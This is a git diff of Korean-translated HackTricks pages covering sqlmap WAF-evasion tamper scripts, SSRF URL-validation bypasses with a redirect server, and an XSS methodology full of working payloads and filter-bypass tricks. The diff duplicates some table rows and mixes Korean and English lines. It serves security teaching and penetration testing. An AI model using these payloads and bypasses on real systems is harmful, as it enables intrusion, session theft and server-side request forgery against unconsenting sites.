| charunicodeencode.py | 주어진 페이로드의 비인코딩 문자를 유니코드 URL 인코딩합니다(이미 인코딩된 것은 처리하지 않음). "%u0022" |
| charunicodeescape.py | 주어진 페이로드의 비인코딩 문자를 유니코드 URL 인코딩합니다(이미 인코딩된 것은 처리하지 않음). "\u0022" |
| equaltolike.py | '=' 연산자의 모든 발생을 'LIKE' 연산자로 대체합니다. |
| charunicodeencode.py | 주어진 페이로드의 비인코딩 문자를 유니코드 URL 인코딩합니다(이미 인코딩된 것은 처리하지 않음). "%u0022" |
| charunicodeescape.py | 주어진 페이로드의 비인코딩 문자를 유니코드 URL 인코딩합니다(이미 인코딩된 것은 처리하지 않음). "\u0022" |
| equaltolike.py | '=' 연산자의 모든 발생을 'LIKE' 연산자로 대체합니다. |
| escapequotes.py | 따옴표(' 및 ")를 슬래시로 이스케이프합니다. |
| greatest.py | '>' 연산자를 'GREATEST' 대응 문자로 대체합니다. |
| halfversionedmorekeywords.py | 각 키워드 앞에 버전이 있는 MySQL 주석을 추가합니다. |
| ifnull2ifisnull.py | 'IFNULL(A, B)'와 같은 인스턴스를 'IF(ISNULL(A), B, A)'로 대체합니다. |
| modsecurityversioned.py | 버전이 있는 주석으로 전체 쿼리를 감쌉니다. |
| modsecurityzeroversioned.py | 제로 버전 주석으로 전체 쿼리를 감쌉니다. |
| multiplespaces.py | SQL 키워드 주위에 여러 개의 공백을 추가합니다. |
| nonrecursivereplacement.py | 미리 정의된 SQL 키워드를 대체에 적합한 표현으로 대체합니다(예: .replace("SELECT", "") 필터). |
| modsecurityversioned.py | 전체 쿼리를 버전이 있는 주석으로 감쌉니다. |
| modsecurityzeroversioned.py | 전체 쿼리를 제로 버전 주석으로 감쌉니다. |
| multiplespaces.py | SQL 키워드 주위에 여러 개의 공백을 추가합니다. |
| nonrecursivereplacement.py | 미리 정의된 SQL 키워드를 대체에 적합한 표현으로 대체합니다(예: .replace("SELECT", "") 필터). |
| percentage.py | 각 문자 앞에 백분율 기호('%')를 추가합니다. |
| overlongutf8.py | 주어진 페이로드의 모든 문자를 변환합니다(이미 인코딩된 것은 처리하지 않음). |
| randomcase.py | 각 키워드 문자를 무작위 대소문자 값으로 대체합니다. |
| randomcomments.py | SQL 키워드에 무작위 주석을 추가합니다. |
| securesphere.py | 특별히 제작된 문자열을 추가합니다. |
| sp_password.py | DBMS 로그에서 자동으로 난독화하기 위해 페이로드 끝에 'sp_password'를 추가합니다. |
| sp_password.py | 페이로드 끝에 'sp_password'를 추가하여 DBMS 로그에서 자동으로 난독화합니다. |
| space2comment.py | 공백 문자(' ')를 주석으로 대체합니다. |
| space2dash.py | 공백 문자(' ')를 대시 주석('--')으로 대체하고 무작위 문자열과 새 줄('\n')을 추가합니다. |
| space2hash.py | 공백 문자(' ')를 파운드 문자('#')로 대체하고 무작위 문자열과 새 줄('\n')을 추가합니다. |
| space2morehash.py | 공백 문자(' ')를 파운드 문자('#')로 대체하고 무작위 문자열과 새 줄('\n')을 추가합니다. |
| space2hash.py | 공백 문자(' ')를 파운드 문자('#')로 대체하고 무작위 문자열과 새 줄('\n')을 추가합니다. |
| space2morehash.py | 공백 문자(' ')를 파운드 문자('#')로 대체하고 무작위 문자열과 새 줄('\n')을 추가합니다. |
| space2mssqlblank.py | 공백 문자(' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 대체합니다. |
| space2mssqlhash.py | 공백 문자(' ')를 파운드 문자('#')로 대체하고 새 줄('\n')을 추가합니다. |
| space2mysqlblank.py | 공백 문자(' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 대체합니다. |
@ -180,7 +184,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
| symboliclogical.py | AND 및 OR 논리 연산자를 그들의 기호 대응물(&& 및 ||)로 대체합니다. |
| unionalltounion.py | UNION ALL SELECT를 UNION SELECT로 대체합니다. |
| unmagicquotes.py | 따옴표 문자(')를 다중 바이트 조합 %bf%27로 대체하고 끝에 일반 주석을 추가합니다(작동하게 하기 위해). |
| uppercase.py | 각 키워드 문자를 대문자 'INSERT'로 대체합니다. |
| uppercase.py | 각 키워드 문자를 대문자 'INSERT'로 대체합니다. |
| varnish.py | HTTP 헤더 'X-originating-IP'를 추가합니다. |
| versionedkeywords.py | 각 비함수 키워드를 버전이 있는 MySQL 주석으로 감쌉니다. |
| versionedmorekeywords.py | 각 키워드를 버전이 있는 MySQL 주석으로 감쌉니다. |

View File

@ -2,9 +2,10 @@
{{#include ../../banners/hacktricks-training.md}}
### Localhost
### 로컬호스트
```bash
# Localhost
0 # Yes, just 0 is localhost in Linuc
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
@ -143,30 +144,30 @@ http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
#Parameter pollution
next={domain}&next=attacker.com
```
### 경로 및 확장자 우회
### Paths and Extensions Bypass
URL이 경로 또는 확장자로 끝나야 하거나 경로를 포함해야 하는 경우, 다음 우회 방법 중 하나를 시도할 수 있습니다:
URL이 경로 확장자로 끝나야 하거나 경로를 포함해야 하는 경우, 다음 우회 방법 중 하나를 시도할 수 있습니다:
```
https://metadata/vulerable/path#/expected/path
https://metadata/vulerable/path#.extension
https://metadata/expected/path/..%2f..%2f/vulnerable/path
```
### 퍼징
### Fuzzing
도구 [**recollapse**](https://github.com/0xacb/recollapse)는 주어진 입력에서 변형을 생성하여 사용된 정규 표현식을 우회하려고 시도할 수 있습니다. 더 많은 정보는 [**이 게시물**](https://0xacb.com/2022/11/21/recollapse/)을 확인하세요.
The tool [**recollapse**](https://github.com/0xacb/recollapse)는 주어진 입력에서 변형을 생성하여 사용된 regex를 우회하려고 시도할 수 있습니다. 추가 정보는 [**이 게시물**](https://0xacb.com/2022/11/21/recollapse/)을 확인하세요.
### 자동 맞춤 단어 목록
### Automatic Custom Wordlists
포트스위거의 [**URL 검증 우회 치트 시트** 웹앱](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet)을 확인해 보세요. 여기서 허용된 호스트와 공격자의 호스트를 입력하면 시도할 URL 목록을 생성해 줍니다. 또한 URL을 매개변수, Host 헤더 또는 CORS 헤더에서 사용할 수 있는지 여부도 고려합니다.
[**URL validation bypass cheat sheet** 웹앱](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet)을 확인해보세요. 여기서 허용된 호스트와 공격자의 호스트를 입력하면 시도할 URL 목록을 생성해줍니다. 또한 URL을 매개변수, Host 헤더 또는 CORS 헤더에서 사용할 수 있는지 여부도 고려합니다.
{{#ref}}
https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
{{#endref}}
### 리디렉션을 통한 우회
### Bypass via redirect
서버가 SSRF의 **원래 요청을 필터링**하고 **리디렉션** 응답은 필터링하지 않을 가능성이 있습니다.\
예를 들어, `url=https://www.google.com/`를 통해 SSRF에 취약한 서버는 **url 매개변수를 필터링**할 수 있습니다. 그러나 [파이썬 서버를 사용하여 302로 응답](https://pastebin.com/raw/ywAUhFrv)하면 리디렉션하려는 위치로 이동할 수 있으며, 필터링된 IP 주소인 127.0.0.1 또는 필터링된 **프로토콜**인 gopher에 **접근할 수** 있을 수 있습니다.\
서버가 SSRF의 **원래 요청을 필터링**하고 **가능한 리디렉션** 응답은 필터링하지 않을 가능성이 있습니다.\
예를 들어, `url=https://www.google.com/`를 통해 SSRF에 취약한 서버는 **url 매개변수를 필터링**할 수 있습니다. 그러나 [python 서버를 사용하여 302로 응답](https://pastebin.com/raw/ywAUhFrv)하면 리디렉션하려는 위치로 이동할 수 있으며, 필터링된 IP 주소인 127.0.0.1 또는 필터링된 **프로토콜**인 gopher에 **접근할 수** 있을 수 있습니다.\
[이 보고서를 확인하세요.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
```python
#!/usr/bin/env python3
@ -190,9 +191,9 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
```
## 설명된 트릭
### 슬래시 트릭
### 블랙슬래시 트릭
_백슬래시 트릭_은 [WHATWG URL 표준](https://url.spec.whatwg.org/#url-parsing)과 [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) 간의 차이를 이용합니다. RFC3986은 URI에 대한 일반적인 프레임워크인 반면, WHATWG는 웹 URL에 특정하며 현대 브라우저에서 채택되고 있습니다. 주요 차이점은 WHATWG 표준이 백슬래시(`\`)를 슬래시(`/`)와 동등하게 인식하여 URL이 구문 분석되는 방식에 영향을 미치며, 특히 URL에서 호스트 이름에서 경로로의 전환을 표시하는 것입니다.
_백슬래시 트릭_은 [WHATWG URL 표준](https://url.spec.whatwg.org/#url-parsing)과 [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) 간의 차이를 이용합니다. RFC3986은 URI에 대한 일반적인 프레임워크인 반면, WHATWG는 웹 URL에 특정하며 현대 브라우저에서 채택되고 있습니다. 주요 차이점은 WHATWG 표준이 백슬래시(`\`)를 슬래시(`/`)와 동등하게 인식하여 URL이 구문 분석되는 방식에 영향을 미치며, 특히 URL에서 호스트 이름에서 경로로의 전환을 표시하는 데 있습니다.
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg)

View File

@ -2,7 +2,7 @@
## 방법론
1. **당신이 제어하는 모든 값** (_매개변수_, _경로_, _헤더_?, _쿠키_?)가 HTML에 **반영**되거나 **JS** 코드에 의해 **사용**되고 있는지 확인합니다.
1. **당신이 제어하는 값** (_매개변수_, _경로_, _헤더_?, _쿠키_?)가 HTML에 **반영**되거나 **JS** 코드에 의해 **사용**되는지 확인합니다.
2. **반영/사용되는 맥락**을 찾습니다.
3. **반영된 경우**
1. **어떤 기호를 사용할 수 있는지** 확인하고, 그에 따라 페이로드를 준비합니다:
@ -11,7 +11,7 @@
2. `javascript:` 프로토콜을 지원하는 이벤트나 속성을 사용할 수 있습니까?
3. 보호를 우회할 수 있습니까?
4. HTML 콘텐츠가 클라이언트 측 JS 엔진 (_AngularJS_, _VueJS_, _Mavo_...)에 의해 해석되고 있다면, [**클라이언트 측 템플릿 주입**](../client-side-template-injection-csti.md)을 악용할 수 있습니다.
5. JS 코드를 실행하는 HTML 태그를 생성할 수 없다면, [**덩글링 마크업 - HTML 스크립트 없는 주입**](../dangling-markup-html-scriptless-injection/index.html)을 악용할 수 있습니까?
5. JS 코드를 실행하는 HTML 태그를 생성할 수 없다면, [**덩글링 마크업 - HTML 스크립트리스 주입**](../dangling-markup-html-scriptless-injection/index.html)을 악용할 수 있습니까?
2. **HTML 태그 내부**에서:
1. 원시 HTML 맥락으로 나갈 수 있습니까?
2. JS 코드를 실행하기 위해 새로운 이벤트/속성을 생성할 수 있습니까?
@ -35,7 +35,7 @@ debugging-client-side-js.md
## 반영된 값
XSS를 성공적으로 악용하기 위해 가장 먼저 찾아야 할 것은 **당신이 제어하는 값이 웹 페이지에 반영되고 있는지**입니다.
XSS를 성공적으로 악용하기 위해 가장 먼저 찾아야 할 것은 웹 페이지에 **당신이 제어하는 값이 반영되고 있는지**입니다.
- **중간에 반영된 경우**: 매개변수의 값이나 경로가 웹 페이지에 반영되고 있다면 **반영된 XSS**를 악용할 수 있습니다.
- **저장되고 반영된 경우**: 당신이 제어하는 값이 서버에 저장되고 페이지에 접근할 때마다 반영된다면 **저장된 XSS**를 악용할 수 있습니다.
@ -67,10 +67,10 @@ XSS를 악용하려고 할 때 가장 먼저 알아야 할 것은 **당신의
```
### Inside JavaScript code
이 경우 입력은 HTML 페이지의 **`<script> [...] </script>`** 태그, `.js` 파일 또는 **`javascript:`** 프로토콜을 사용하는 속성 안에 반영됩니다:
이 경우 입력은 HTML 페이지의 **`<script> [...] </script>`** 태그, `.js` 파일 또는 **`javascript:`** 프로토콜을 사용하는 속성 내에서 반영됩니다:
- **`<script> [...] </script>`** 태그 사이에 반영되는 경우, 입력이 어떤 종류의 따옴표 안에 있더라도 `</script>`를 주입하고 이 컨텍스트에서 탈출할 수 있습니다. 이는 **브라우저가 먼저 HTML 태그를 파싱**하고 그 다음에 내용을 처리하기 때문에, 주입된 `</script>` 태그가 HTML 코드 안에 있다는 것을 인식하지 못합니다.
- **JS 문자열 안에 반영되는 경우** 마지막 트릭이 작동하지 않으면 문자열에서 **탈출**하고, **코드를 실행**하며 **JS 코드를 재구성**해야 합니다 (오류가 발생하면 실행되지 않습니다):
- **`<script> [...] </script>`** 태그 사이에 반영되는 경우, 입력이 어떤 종류의 따옴표 안에 있더라도 `</script>`를 주입하고 이 컨텍스트에서 벗어날 수 있습니다. 이는 **브라우저가 먼저 HTML 태그를 파싱**하고 그 다음에 내용을 파싱하기 때문에, 주입된 `</script>` 태그가 HTML 코드 안에 있다는 것을 인식하지 못합니다.
- **JS 문자열 안에 반영되는 경우** 마지막 트릭이 작동하지 않으면 문자열에서 **나가고**, **코드를 실행**하고 **JS 코드를 재구성**해야 합니다(오류가 발생하면 실행되지 않습니다):
- `'-alert(1)-'`
- `';-alert(1)//`
- `\';alert(1)//`
@ -124,16 +124,16 @@ some-same-origin-method-execution.md
### DOM
**JS 코드**가 **공격자에 의해 제어되는** 일부 **데이터**를 **안전하지 않게** 사용하고 있습니다, 예를 들어 `location.href`. 공격자는 이를 악용하여 임의의 JS 코드를 실행할 수 있습니다.
**JS 코드**가 **공격자가 제어하는** **데이터**를 **안전하지 않게** 사용하고 있습니다, 예를 들어 `location.href`. 공격자는 이를 악용하여 임의의 JS 코드를 실행할 수 있습니다.
{{#ref}}
dom-xss.md
{{#endref}}
### **Universal XSS**
### **유니버설 XSS**
이러한 종류의 XSS는 **어디에서나** 발견될 수 있습니다. 이는 웹 애플리케이션의 클라이언트 익스플로잇에만 의존하지 않고 **모든** **컨텍스트**에 의존합니다. 이러한 종류의 **임의 JavaScript 실행**은 **RCE**를 얻거나, 클라이언트와 서버에서 **임의의 파일을 읽는** 데 악용될 수 있습니다, 그리고 더 많은 것들이 가능합니다.\
일부 **예시**:
이러한 종류의 XSS는 **어디에서나** 발견될 수 있습니다. 이는 웹 애플리케이션의 클라이언트 익스플로잇에만 의존하지 않고 **모든** **컨텍스트**에 의존합니다. 이러한 종류의 **임의 JavaScript 실행**은 **RCE**를 얻거나, 클라이언트와 서버에서 **임의의 파일을 읽는** 등의 악용이 가능합니다.\
몇 가지 **예시**:
{{#ref}}
server-side-xss-dynamic-pdf.md
@ -150,8 +150,8 @@ server-side-xss-dynamic-pdf.md
## 원시 HTML 내에서 주입
당신의 입력이 **HTML 페이지 내에서 반영**되거나 이 컨텍스트에서 HTML 코드를 이스케이프하고 주입할 수 있다면, **첫 번째**로 해야 할 일은 `<`를 악용하여 새로운 태그를 생성할 수 있는지 확인하는 것입니다: 그 **문자**를 **반영**해보고 그것이 **HTML 인코딩**되었는지 또는 **삭제**되었는지, 아니면 **변경 없이 반영**되었는지 확인하십시오. **마지막 경우에만 이 경우를 악용할 수 있습니다**.\
이 경우에도 **[클라이언트 측 템플릿 주입](../client-side-template-injection-csti.md)**을 염두에 두십시오.\
_**참고: HTML 주석은 `-->` 또는 `--!>`를 사용하여 닫을 수 있습니다.**_
이 경우에도 **[클라이언트 측 템플릿 주입](../client-side-template-injection-csti.md)**을 **염두에 두십시오**.\
_**참고: HTML 주석은 `-->` 또는 `--!>` 닫을 수 있습니다.**_
이 경우 블랙/화이트리스트가 사용되지 않는다면, 다음과 같은 페이로드를 사용할 수 있습니다:
```html
@ -170,11 +170,11 @@ alert(1)
### 사용자 정의 태그
유효한 HTML 태그를 찾지 못한 경우, **사용자 정의 태그를 생성**하고 `onfocus` 속성으로 JS 코드를 실행해 볼 수 있습니다. XSS 요청에서 URL을 `#`로 끝내야 페이지가 **해당 객체에 포커스**하고 **코드를 실행**합니다:
유효한 HTML 태그를 찾지 못했다면, **사용자 정의 태그를 생성**하고 `onfocus` 속성으로 JS 코드를 실행해 볼 수 있습니다. XSS 요청에서 URL을 `#`로 끝내야 페이지가 **해당 객체에 포커스**하고 **코드를 실행**합니다:
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
### Blacklist Bypasses
### 블랙리스트 우회
어떤 종류의 블랙리스트가 사용되고 있다면, 몇 가지 간단한 트릭으로 이를 우회해 볼 수 있습니다:
```javascript
@ -226,7 +226,7 @@ onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
```
### 길이 우회 (작은 XSS)
### Length bypass (small XSSs)
> [!NOTE] > **다양한 환경을 위한 더 많은 작은 XSS** 페이로드 [**여기에서 찾을 수 있습니다**](https://github.com/terjanq/Tiny-XSS-Payloads) 및 [**여기에서 찾을 수 있습니다**](https://tinyxss.terjanq.me).
```html
@ -245,12 +245,12 @@ onerror=alert`1`
**JS 코드를 실행하기 위한 속성이 있는 HTML 태그를 만드는 것이 불가능하다고 생각한다면**, [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html)을 확인해야 합니다. 왜냐하면 **JS** 코드를 실행하지 않고도 취약점을 **악용**할 수 있기 때문입니다.
## HTML 태그 내부 주입
## HTML 태그 내부 주입하기
### 태그 내부/속성 값에서 탈출하기
**HTML 태그 내부에 있다면**, 시도할 수 있는 첫 번째 것은 태그에서 **탈출**하고 [이전 섹션](#injecting-inside-raw-html)에서 언급된 기술 중 일부를 사용하여 JS 코드를 실행하는 것입니다.\
태그에서 **탈출할 수 없다면**, 태그 내부에 새로운 속성을 만들어 JS 코드를 실행하려고 시도할 수 있습니다. 예를 들어 (_이 예제에서는 속성에서 탈출하기 위해 이중 따옴표를 사용하지만, 입력이 태그 내부에 직접 반영되는 경우에는 필요하지 않습니다_):
**HTML 태그 내부에 있는 경우**, 시도할 수 있는 첫 번째 것은 **태그에서 탈출**하고 [이전 섹션](#injecting-inside-raw-html)에서 언급된 기술 중 일부를 사용하여 JS 코드를 실행하는 것입니다.\
**태그에서 탈출할 수 없다면**, 태그 내부에 새로운 속성을 만들어 JS 코드를 실행하려고 시도할 수 있습니다. 예를 들어 (_이 예제에서는 속성에서 탈출하기 위해 이중 따옴표를 사용하지만, 입력이 태그 내부에 직접 반영되는 경우에는 필요하지 않습니다_):
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -265,16 +265,16 @@ onerror=alert`1`
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
```
### Within the attribute
### 속성 내에서
Even if you **cannot escape from the attribute** (`"` is being encoded or deleted), depending on **which attribute** your value is being reflected in **if you control all the value or just a part** you will be able to abuse it. For **example**, if you control an event like `onclick=` you will be able to make it execute arbitrary code when it's clicked.\
Another interesting **example** is the attribute `href`, where you can use the `javascript:` protocol to execute arbitrary code: **`href="javascript:alert(1)"`**
속성에서 **탈출할 수 없는 경우**(`"`가 인코딩되거나 삭제됨)에도 불구하고, **어떤 속성**에 값이 반영되는지에 따라 **모든 값 또는 일부만 제어할 수 있는 경우** 이를 악용할 수 있습니다. **예를 들어**, `onclick=`와 같은 이벤트를 제어하면 클릭할 때 임의의 코드를 실행할 수 있습니다.\
또 다른 흥미로운 **예**는 `href` 속성으로, 여기서 `javascript:` 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: **`href="javascript:alert(1)"`**
**이벤트 내에서 HTML 인코딩/URL 인코딩을 사용한 우회**
**HTML 인코딩/URL 인코딩을 사용한 이벤트 내 우회**
The **HTML encoded characters** inside the value of HTML tags attributes are **decoded on runtime**. Therefore something like the following will be valid (the payload is in bold): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
HTML 태그 속성의 값 내 **HTML 인코딩된 문자**는 **런타임에 디코딩됩니다**. 따라서 다음과 같은 것이 유효합니다(페이로드는 굵게 표시됨): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
Note that **any kind of HTML encode is valid**:
**모든 종류의 HTML 인코딩이 유효하다는 점에 유의하세요**:
```javascript
//HTML entities
&apos;-alert(1)-&apos;
@ -295,7 +295,7 @@ Note that **any kind of HTML encode is valid**:
```python
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
```
**유니코드 인코딩을 사용하여 내부 이벤트 우회**
**유니코드 인코드를 사용하여 내부 이벤트 우회**
```javascript
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
@ -325,7 +325,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**이 프로토콜을 주입할 수 있는 장소**
**일반적으로** `javascript:` 프로토콜은 **`href` 속성을 허용하는 모든 태그****대부분의** **`src` 속성을 허용하는 태그**에서 사용할 수 있습니다 (단, `<img>`는 제외).
**일반적으로** `javascript:` 프로토콜은 **`href`** 속성을 허용하는 모든 태그와 **대부분의** **`src`** 속성을 허용하는 태그에서 사용할 수 있습니다 (단, `<img>`는 제외).
```html
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@ -351,17 +351,17 @@ _**이 경우, 이전 섹션의 HTML 인코딩 및 유니코드 인코딩 기법
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
또한 이러한 경우에 대한 또 다른 **멋진 트릭**이 있습니다: **입력이 `javascript:...` 내부에서 URL 인코딩되더라도, 실행되기 전에 URL 디코딩됩니다.** 따라서 **단일 인용부호**를 사용하여 **문자열**에서 **탈출**해야 하고 **URL 인코딩**되고 있는 것을 본다면, **상관없습니다,** 실행 시간 동안 **단일 인용부호**로 **해석**됩니다.
또한, 이러한 경우를 위한 또 다른 **멋진 트릭**이 있습니다: **입력이 `javascript:...` 안에 있을 때 URL 인코딩이 되어 있더라도, 실행되기 전에 URL 디코딩이 됩니다.** 따라서 **단일 인용부호**를 사용하여 **문자열**에서 **탈출**해야 하고 **URL 인코딩**이 되어 있는 것을 본다면, **상관없습니다,** 실행 시간 동안 **단일 인용부호**로 **해석**됩니다.
```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
```
다음 사항에 유의하세요. **페이로드**를 인코딩하기 위해 `URLencode + HTMLencode`를 어떤 순서로 사용하더라도 **작동하지 않습니다**, 하지만 **페이로드 안에서 혼합할 수 있습니다**.
다음에 유의하세요. **페이로드**를 인코딩하기 위해 `URLencode + HTMLencode`를 어떤 순서로 사용하더라도 **작동하지 않습니다**, 하지만 **페이로드 안에서 혼합할 수 있습니다**.
**`javascript:`와 함께 Hex 및 Octal 인코딩 사용하기**
`iframe``src` 속성 안에서 **Hex****Octal 인코딩**을 사용할 수 있습니다 (최소한) **JS를 실행하기 위한 HTML 태그를 선언하기 위해**:
**Hex** 및 **Octal 인코딩**을 사용하여 `iframe`의 `src` 속성 안에서 (최소한) **JS를 실행할 HTML 태그를 선언할 수 있습니다**:
```javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
@ -422,7 +422,7 @@ onbeforetoggle="alert(2)" />
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
다음에서 [**여기**](https://portswigger.net/research/xss-in-hidden-input-fields): **숨겨진 속성** 내에서 **XSS 페이로드**를 실행할 수 있으며, **희생자**가 **키 조합**을 누르도록 **설득**할 수 있습니다. Firefox Windows/Linux에서 키 조합은 **ALT+SHIFT+X**이고, OS X에서는 **CTRL+ALT+X**입니다. 접근 키 속성에서 다른 키를 사용하여 다른 키 조합을 지정할 수 있습니다. 벡터는 다음과 같습니다:
다음에서 [**여기**](https://portswigger.net/research/xss-in-hidden-input-fields): **숨겨진 속성** 내에서 **XSS 페이로드**를 실행할 수 있으며, 이를 위해 **희생자**가 **키 조합**을 누르도록 **설득**해야 합니다. Firefox Windows/Linux에서 키 조합은 **ALT+SHIFT+X**이고, OS X에서는 **CTRL+ALT+X**입니다. 접근 키 속성에서 다른 키를 사용하여 다른 키 조합을 지정할 수 있습니다. 벡터는 다음과 같습니다:
```html
<input type="hidden" accesskey="X" onclick="alert(1)">
```
@ -448,11 +448,11 @@ onbeforetoggle="alert(2)" />
### CSS-가젯
웹의 **아주 작은 부분**에서 XSS를 발견한 경우, 상호작용이 필요한 경우 (예: 마우스 오버 요소가 있는 푸터의 작은 링크), **해당 요소가 차지하는 공간을 수정**하여 링크가 실행될 확률을 극대화할 수 있습니다.
웹의 **아주 작은 부분**에서 XSS를 발견하고 상호작용이 필요한 경우(예: 마우스 오버 요소가 있는 푸터의 작은 링크), **해당 요소가 차지하는 공간을 수정**하여 링크가 실행될 확률을 극대화할 수 있습니다.
예를 들어, 요소에 다음과 같은 스타일을 추가할 수 있습니다: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
하지만 WAF가 스타일 속성을 필터링하는 경우, CSS 스타일링 가젯을 사용할 수 있습니다. 예를 들어,
하지만 WAF가 스타일 속성을 필터링하는 경우, CSS 스타일링 가젯을 사용할 수 있습니다. 예를 들어
> .test {display:block; color: blue; width: 100%\}
@ -460,7 +460,7 @@ onbeforetoggle="alert(2)" />
> \#someid {top: 0; font-family: Tahoma;}
이제 링크를 수정하여 다음 형식으로 만들 수 있습니다.
이제 링크를 수정하여 다음과 같은 형태로 만들 수 있습니다.
> \<a href="" id=someid class=test onclick=alert() a="">
@ -468,7 +468,7 @@ onbeforetoggle="alert(2)" />
## JavaScript 코드 내 주입
이 경우 **입력**이 `.js` 파일의 JS 코드 내에 **반영될** 것이거나 `<script>...</script>` 태그 사이, JS 코드를 실행할 수 있는 HTML 이벤트 사이, 또는 `javascript:` 프로토콜을 수용하는 속성 사이에 있을 것입니다.
이 경우 **입력**은 `.js` 파일의 JS 코드 내에 **반영될 것입니다** 또는 `<script>...</script>` 태그 사이, JS 코드를 실행할 수 있는 HTML 이벤트 사이, 또는 `javascript:` 프로토콜을 수용하는 속성 사이에 있을 수 있습니다.
### \<script> 태그 이스케이프
@ -480,7 +480,7 @@ onbeforetoggle="alert(2)" />
### JS 코드 내부
`<>`가 정리되고 있다면 여전히 **문자열을 이스케이프**할 수 있으며, 입력이 **위치한 곳**에서 **임의의 JS를 실행**할 수 있습니다. JS 구문을 **수정하는 것이 중요**합니다. 오류가 있을 경우 JS 코드가 실행되지 않기 때문입니다:
`<>`가 정리되고 있다면 여전히 **문자열을 이스케이프**할 수 있으며, 입력이 **위치한 곳**에서 **임의의 JS를 실행**할 수 있습니다. JS 구문을 **수정하는 것이 중요**합니다. 오류가 발생하면 JS 코드가 실행되지 않기 때문입니다:
```
'-alert(document.domain)-'
';alert(document.domain)//
@ -554,7 +554,7 @@ eval(8680439..toString(30))(983801..toString(36))
<TAB>
/**/
```
**JavaScript 주석 (에서** [**JavaScript 주석**](#javascript-comments) **트릭)**
**자바스크립트 주석 (에서** [**자바스크립트 주석**](#javascript-comments) **트릭)**
```javascript
//This is a 1 line comment
/* This is a multiline comment*/
@ -740,7 +740,7 @@ top[8680439..toString(30)](1)
## **DOM 취약점**
공격자가 제어하는 **안전하지 않은 데이터**를 사용하는 **JS 코드**가 있습니다. 예를 들어 `location.href`와 같은 것입니다. 공격자는 이를 악용하여 임의의 JS 코드를 실행할 수 있습니다.\
**DOM 취약점에 대한 설명이 길어져서** [**이 페이지로 이동했습니다**](dom-xss.md)**:**
**DOM 취약점에 대한 설명이 확장되어** [**이 페이지로 이동했습니다**](dom-xss.md)**:**
{{#ref}}
dom-xss.md
@ -753,7 +753,7 @@ dom-xss.md
### 쿠키 XSS
쿠키 안에 페이로드를 보내 XSS를 유발할 수 있다면, 이는 보통 self-XSS입니다. 그러나 **XSS에 취약한 서브도메인**을 찾으면, 이 XSS를 악용하여 전체 도메인에 쿠키를 주입하여 메인 도메인이나 다른 서브도메인(쿠키 XSS에 취약한 것)에서 쿠키 XSS를 유발할 수 있습니다. 이를 위해 쿠키 토 공격을 사용할 수 있습니다:
쿠키 안에 페이로드를 보내 XSS를 유발할 수 있다면, 이는 보통 self-XSS입니다. 그러나 **XSS에 취약한 서브도메인을 찾으면**, 이 XSS를 악용하여 전체 도메인에 쿠키를 주입하여 메인 도메인이나 다른 서브도메인(쿠키 XSS에 취약한 것)에서 쿠키 XSS를 유발할 수 있습니다. 이를 위해 쿠키 토 공격을 사용할 수 있습니다:
{{#ref}}
../hacking-with-cookies/cookie-tossing.md
@ -763,11 +763,11 @@ dom-xss.md
### 세션을 관리자에게 전송하기
사용자가 자신의 프로필을 관리자와 공유할 수 있으며, 만약 self XSS가 사용자의 프로필 안에 있다면 관리자가 이를 접근할 경우 취약점이 발생할 수 있습니다.
사용자가 자신의 프로필을 관리자와 공유할 수 있으며, 만약 self XSS가 사용자의 프로필 안에 있다면 관리자가 이를 접근할 취약점이 발생할 수 있습니다.
### 세션 미러링
self XSS를 발견하고 웹 페이지에 **관리자를 위한 세션 미러링**이 있는 경우, 예를 들어 고객이 도움을 요청할 수 있도록 하여 관리자가 당신의 세션에서 보고 있는 것을 자신의 세션에서 볼 수 있습니다.
